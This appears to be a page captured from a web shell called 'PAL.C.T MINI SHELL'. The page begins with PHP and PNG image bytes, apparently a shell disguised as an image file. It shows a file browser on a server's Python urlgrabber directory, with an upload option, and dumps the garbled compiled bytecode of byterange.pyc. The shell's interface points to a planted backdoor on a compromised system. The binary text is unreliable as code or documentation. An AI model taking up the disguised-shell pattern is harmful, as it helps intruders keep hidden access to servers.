php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/urlgrabber/
upload
files >> //usr/lib/python2.6/site-packages/urlgrabber/byterange.pyc

Jc@sddkZddkZddkZddkZddkZdZyddklZWn%e	j
oZ
ddklZnXdefdYZdei
fdYZdefdYZd	dd
YZdeifdYZdd
klZlZlZlZlZlZlZddkZddkZddkZddkZddkZdeifdYZ dei!fdYZ!da"dZ#dZ$dZ%dS(iN(tStringIOt
RangeErrorcBseZdZRS(s6Error raised when an unsatisfiable range is requested.(t__name__t
__module__t__doc__(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR"stHTTPRangeHandlercBs eZdZdZdZRS(sHandler that enables HTTP Range headers.
    
    This was extremely simple. The Range header is a HTTP feature to
    begin with so all this class does is tell urllib2 that the 
    "206 Partial Content" reponse from the HTTP server is what we 
    expected.
    
    Example:
        import urllib2
        import byterange
        
        range_handler = range.HTTPRangeHandler()
        opener = urllib2.build_opener(range_handler)
        
        # install it
        urllib2.install_opener(opener)
        
        # create Request and set Range header
        req = urllib2.Request('http://www.python.org/')
        req.header['Range'] = 'bytes=30-50'
        f = urllib2.urlopen(req)
    cCs1ti|||i}||_||_|S(N(turllibt
addinfourltget_full_urltcodetmsg(tselftreqtfpR	R
thdrstr((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pythttp_error_206>s		cCstddS(NsRequested Range Not Satisfiable(R(RRR
R	R
R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pythttp_error_416Es(RRRRR(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR&s	tHTTPSRangeHandlercBs eZdZdZdZRS(s! Range Header support for HTTPS. cCs|i|||||S(N(R(RRR
R	R
R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pythttps_error_206LscCs|i|||||dS(N(thttps_error_416(RRR
R	R
R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyROs(RRRRR(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRIs	tRangeableFileObjectcBsheZdZdZdZdZddZddZddZd	Z	d
Z
dZRS(s"File object wrapper to enable raw range handling.
    This was implemented primarilary for handling range 
    specifications for file:// urls. This object effectively makes 
    a file object look like it consists only of a range of bytes in 
    the stream.
    
    Examples:
        # expose 10 bytes, starting at byte position 20, from 
        # /etc/aliases.
        >>> fo = RangeableFileObject(file('/etc/passwd', 'r'), (20,30))
        # seek seeks within the range (to position 23 in this case)
        >>> fo.seek(3)
        # tell tells where your at _within the range_ (position 3 in
        # this case)
        >>> fo.tell()
        # read EOFs if an attempt is made to read past the last
        # byte in the range. the following will return only 7 bytes.
        >>> fo.read(30)
    cCs>||_t|\|_|_d|_|i|idS(sCreate a RangeableFileObject.
        fo       -- a file like object. only the read() method need be 
                    supported but supporting an optimized seek() is 
                    preferable.
        rangetup -- a (firstbyte,lastbyte) tuple specifying the range
                    to work over.
        The file object provided is assumed to be at byte offset 0.
        iN(tfotrange_tuple_normalizet	firstbytetlastbytetrealpost_do_seek(RRtrangetup((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyt__init__gs			cCs1t|i|ot|i|St|dS(sThis effectively allows us to wrap at the instance level.
        Any attribute not found in _this_ object will be searched for
        in self.fo.  This includes methods.N(thasattrRtgetattrtAttributeError(Rtname((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyt__getattr__uscCs|i|iS(s5Return the position within the range.
        This is different from fo.seek in that position 0 is the 
        first byte position of the range tuple. For example, if
        this object was created with a range tuple of (500,899),
        tell() will return 0 when at byte position 500 of the file.
        (RR(R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyttell}sicCs|djpt|djo|i|}n<|djo|i|}n|djotdn|io||ijo
|i}n|i||idS(seSeek within the byte range.
        Positioning is identical to that described under tell().
        iiis$seek from end of file not supported.N(iii(tAssertionErrorRRtIOErrorRR(Rtoffsettwhencet
realoffset((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pytseeks



icCs:|i|}|ii|}|it|7_|S(s`Read within the range.
        This method will limit the size read based on the range.
        (t_calc_read_sizeRtreadRtlen(Rtsizetrslt((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR+scCs:|i|}|ii|}|it|7_|S(sfRead lines within the range.
        This method will limit the size read based on the range.
        (R*RtreadlineRR,(RR-R.((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR/scCs^|ioP|djo/|i||ijo|i|i}qVqZ|i|i}n|S(sSHandles calculating the amount of data to read based on
        the range.
        i(RR(RR-((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR*s

cCsb|djptt|idp|i|n|ii|i||i|7_dS(sSeek based on whether wrapped object supports seek().
        offset is relative to the current position (self.realpos).
        iR)N(R$RRt_poor_mans_seekR)R(RR&((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRs
cCsd}d}xp||job|||jo||}n|ii|}t||jotdn||7}qWdS(sSeek by calling the wrapped file objects read() method.
        This is used for file like objects that do not have native
        seek support. The wrapped objects read() method is called
        to manually seek to the desired position.
        offset -- read this number of bytes from the wrapped
                  file object.
        raise RangeError if we encounter EOF before reaching the 
        specified offset.
        iisRequested Range Not SatisfiableN(RR+R,R(RR&tpostbufsizetbuf((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR0s

(RRRRR"R#R)R+R/R*RR0(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRRs								tFileRangeHandlercBseZdZdZRS(s~FileHandler subclass that adds Range support.
    This class handles Range headers exactly like an HTTP
    server would.
    cCsddk}ddk}|i}|i}ti|}ti|}|ti}t	i
|ti}	|i|d}
|oOti
|\}}|pti||ijotidqnt|d}|iidd}
t|
}
|
djpt|
o}|
\}}|djo
|}n|djp||jp
||jotdn||}t|||f}n|itd|
pd	||	f}ti||d
|S(Niisfile not on local hosttrbtRangetsRequested Range Not Satisfiables6Content-Type: %s
Content-Length: %d
Last-modified: %s
s
text/plainsfile:((t	mimetypest	mimetoolstget_hosttget_selectorRturl2pathnametoststattST_SIZEtrfc822t
formatdatetST_MTIMEt
guess_typet	splitporttsockett
gethostbynamet	get_namesturllib2tURLErrortopentheaderstgettNonetrange_header_to_tupleR$RRtMessageRR(RRR8R9thosttfilet	localfiletstatsR-tmodifiedtmtypetportRtbrangetfbtlbRK((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pytopen_local_files:
#

'
	(RRRRZ(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR4s(RDt	splitusertsplitpasswdt	splitattrtunquotetaddclosehookRtFTPRangeHandlercBseZdZdZRS(cCs|i}|p
tdnt|\}}|djo
ti}n
t|}t|\}}|ot|\}}nd}t	|}t	|pd}t	|pd}yt
i|}Wn't
ij
o}t
i|nXt|i\}}|id}	tt	|	}	|	d |	d}	}
|	o|	do|	d}	ny7|i|||||	}|
odpd	}xP|D]H}
t|
\}
}|
id
jo|djo|i}qqWd}t|iidd}|djpt|o'|\}}|djo
|}qPn|i|
||\}}|o|\}}|djo[|djp
|djotdn|}||}|djotdqq	||}t|d|f}nd}ti|id}|o|d|7}n|dj	o|djo|d|7}nt |}t!i"|}t#|||iSWn4ti$j
o%}td|ft%i&dnXdS(Ns	ftp errors
no host givenR7t/iiitItDttypetatAtitdR6s@Requested Range Not Satisfiable due to unobtainable file length.sRequested Range Not SatisfiablesContent-Type: %s
sContent-Length: %d
i(s	ftp errors
no host given(ReRfRgRbRhRc(('R:R%RDRMtftplibtFTP_PORTtintR[R\R^RERFterrorRHRIR]R;tsplittmaptconnect_ftptlowertupperRNRKRLR$tretrfileRRR8RCRRR9RORt
all_errorstsystexc_info(RRRPRVtusertpasswdR
tpathtattrstdirsRQtfwRdtattrtvaluetrestt	range_tupRXRYR
tretrlenRKRUtsf((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pytftp_open
s~








cCst|||||}|S(N(t
ftpwrapper(RRvRwRPRVRzR{((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRoXs(RRRRo(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR`	s	NRcBseZddZRS(c
Cs.|i|djod}d}nd|}d}y|ii|Wn0tij
o!|i|ii|nXd}|o+|o#y|ii|Wn4tij
o%}t	d|ft
idnX|ii|y#d	|}|ii||}Wqtij
o}t
|d
 djo8|i||\}}	t||df}||	fSt
|d
 d
jo t	d|ft
idqqXn|pA|iid|od|}nd}|ii|}nd|_t|did|i|dfS(NRhRcsTYPE AisTYPE is	ftp errorisRETR it501R7t550sLIST tLISTR5(RhRc(tendtransfertftptvoidcmdRiRstinitRMtnlstt
error_permR%RtRutntransfercmdtstrRrRtbusyR_tmakefile(
RRQRdR~tcmdtisdirtconntreasonR
R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRrasJ




!
)	N(RRRMRr(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyR\scCs|djodStdjoddk}|idanti|}|oKt|idd}|o'|do|d|ddf}n|SdS(sGet a (firstbyte,lastbyte) tuple from a Range header value.
    
    Range headers have the form "bytes=<firstbyte>-<lastbyte>". This
    function pulls the firstbyte and lastbyte values and returns
    a (firstbyte,lastbyte) tuple. If lastbyte is not specified in
    the header value, it is returned as an empty string in the
    tuple.
    
    Return None if range_header is None
    Return () if range_header does not conform to the range spec 
    pattern.
    
    iNs^bytes=(\d{1,})-(\d*)iii((RMt_rangeretretcompiletmatchRtgroup(trange_headerRRttup((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRNs

cCsY|djodSt|}|o0|do|d|ddf}nd|SdS(sConvert a range tuple to a Range header value.
    Return a string of the form "bytes=<firstbyte>-<lastbyte>" or None
    if no range is needed.
    iisbytes=%s-%sN(RMR(R((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pytrange_tuple_to_headers
cCs|djodS|d}|djo
d}n
t|}y|d}Wntj
o
d}n6X|djo
d}n|djot|}n||fdjodS||jotd||fn||fS(s7Normalize a (first_byte,last_byte) range tuple.
    Return a tuple whose first element is guaranteed to be an int
    and whose second element will be '' (meaning: the last byte) or 
    an int. Finally, return None if the normalized tuple == (0,'')
    as that is equivelant to retrieving the entire file.
    iR7isInvalid byte range: %s-%sN(NR7(iR7(RMRkt
IndexErrorR(RRXRY((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyRs&







((&R=R>RRHR@RMtDEBUGt	cStringIORtImportErrorR
R%RtBaseHandlerRRRtFileHandlerR4RDR[R\R]R^R_RRiRERtR8R9t
FTPHandlerR`RRRNRR(((s8/usr/lib/python2.6/site-packages/urlgrabber/byterange.pyt<module>s4#	+4S4		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`